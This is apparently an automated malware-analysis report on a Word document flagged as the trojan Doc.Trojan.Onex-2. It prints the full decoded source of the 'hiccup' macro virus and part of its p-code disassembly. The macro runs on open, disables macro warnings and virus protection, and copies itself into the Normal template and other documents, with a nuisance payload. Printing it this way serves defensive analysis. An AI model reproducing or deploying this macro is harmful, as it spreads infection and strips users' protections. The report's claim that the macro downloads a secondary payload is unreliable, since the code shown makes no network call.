MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing a VBA macro that executes upon opening. The macro attempts to disable security features like macro warnings and virus protection, and modifies the document's appearance. It also contains logic to potentially call a 'hiccup_payload' function, suggesting it's designed to download and execute a secondary payload, a common tactic for malware.
Heuristics 3
-
ClamAV: Doc.Trojan.Onex-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Onex-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5571 bytes |
SHA-256: 60af8fefdb9b7fc594a002e8e97ba2d8eed5e4b615dc6ef571d8923f0d3dfb6c |
|||
|
Detection
ClamAV:
Doc.Trojan.Onex-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "hiccup"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Set Code = New DataObject
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
CommandBars("Tools").Controls("Macro").Enabled = 0
If NormalTemplate.VBProject.VBComponents(1).Name = "hiccup" Then
callitn = True
Else
Set A = NormalTemplate.VBProject.VBComponents(1)
End If
If ActiveDocument.VBProject.VBComponents(1).Name = "hiccup" Then
callita = True
Else
Set A = ActiveDocument.VBProject.VBComponents(1)
saveit = True
End If
Set ab = A.CodeModule
Code.SetText hiccup.VBProject.VBComponents(1).CodeModule.Lines(1, hiccup.VBProject.VBComponents(1).CodeModule.CountOfLines)
ab.DeleteLines 1, ab.CountOfLines
ab.InsertLines 1, Code.GetText
A.Name = "hiccup"
If callitn = True And callita = True Then
If Int(Rnd * 8) = 2 Then
Call hiccup_payload
End If
End If
If saveit = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Private Sub hiccup_payload()
On Error Resume Next
ActiveWindow.View.Type = wdPageView
ActiveDocument.Background.Fill.BackColor.RGB = RGB(255, 0, 0)
Do
DoEvents
Randomize
If Int(Rnd * 10000) = 2 Then
Word.ActiveDocument.ActiveWindow.WindowState = wdWindowStateMinimize
Word.ActiveDocument.ActiveWindow.WindowState = wdWindowStateMaximize
End If
Loop
End Sub
' Word 97/2k - Hiccup - PHSYCO XXX
' Processing file: /opt/analyzer/scan_staging/8c641389f8e64840ad4056b1b90bb559.bin
' ===============================================================================
' Module streams:
' Macros/VBA/hiccup - 7699 bytes
' Line #0:
' Line #1:
' FuncDefn (Private Sub Document_Open())
' Line #2:
' OnError (Resume Next)
' Line #3:
' SetStmt
' New id_945B
' Set Code
' Line #4:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' Line #5:
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #6:
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' Line #7:
' LitDI2 0x0000
' LitStr 0x0005 "Macro"
' LitStr 0x0005 "Tools"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemSt Enabled
' Line #8:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0006 "hiccup"
' Eq
' IfBlock
' Line #9:
' LitVarSpecial (True)
' St callitn
' Line #10:
' ElseBlock
' Line #11:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set A
' Line #12:
' EndIfBlock
' Line #13:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0006 "hiccup"
' Eq
' IfBlock
' Line #14:
' LitVarSpecial (True)
' St callita
' Line #15:
' ElseBlock
' Line #16:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set A
' Line #17:
' LitVarSpecial (True)
' St saveit
' Line #18:
' EndIfBlock
' Line #19:
' SetStmt
' Ld A
' MemLd CodeModule
' Set ab
' Line #20:
' LitDI2 0x0001
' LitDI2 0x0001
' Ld hiccup
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld hiccup
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' Ld Code
' ArgsMemCall SetText 0x0001
' Line #21:
' LitDI2 0x0001
' Ld ab
' MemLd CountOfLines
' Ld ab
' ArgsMemCall DeleteLines 0x0002
' Line #22:
' LitDI2 0x0001
' Ld Code
' MemLd GetText
' Ld ab
' ArgsMemCall InsertLines 0x0002
' Line #23:
' LitStr 0x0006 "hiccup"
' Ld A
' MemSt New
' Line #24:
' Ld callitn
' LitVarSpecial (True)
' Eq
' Ld callita
' LitVarSpecial (True)
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.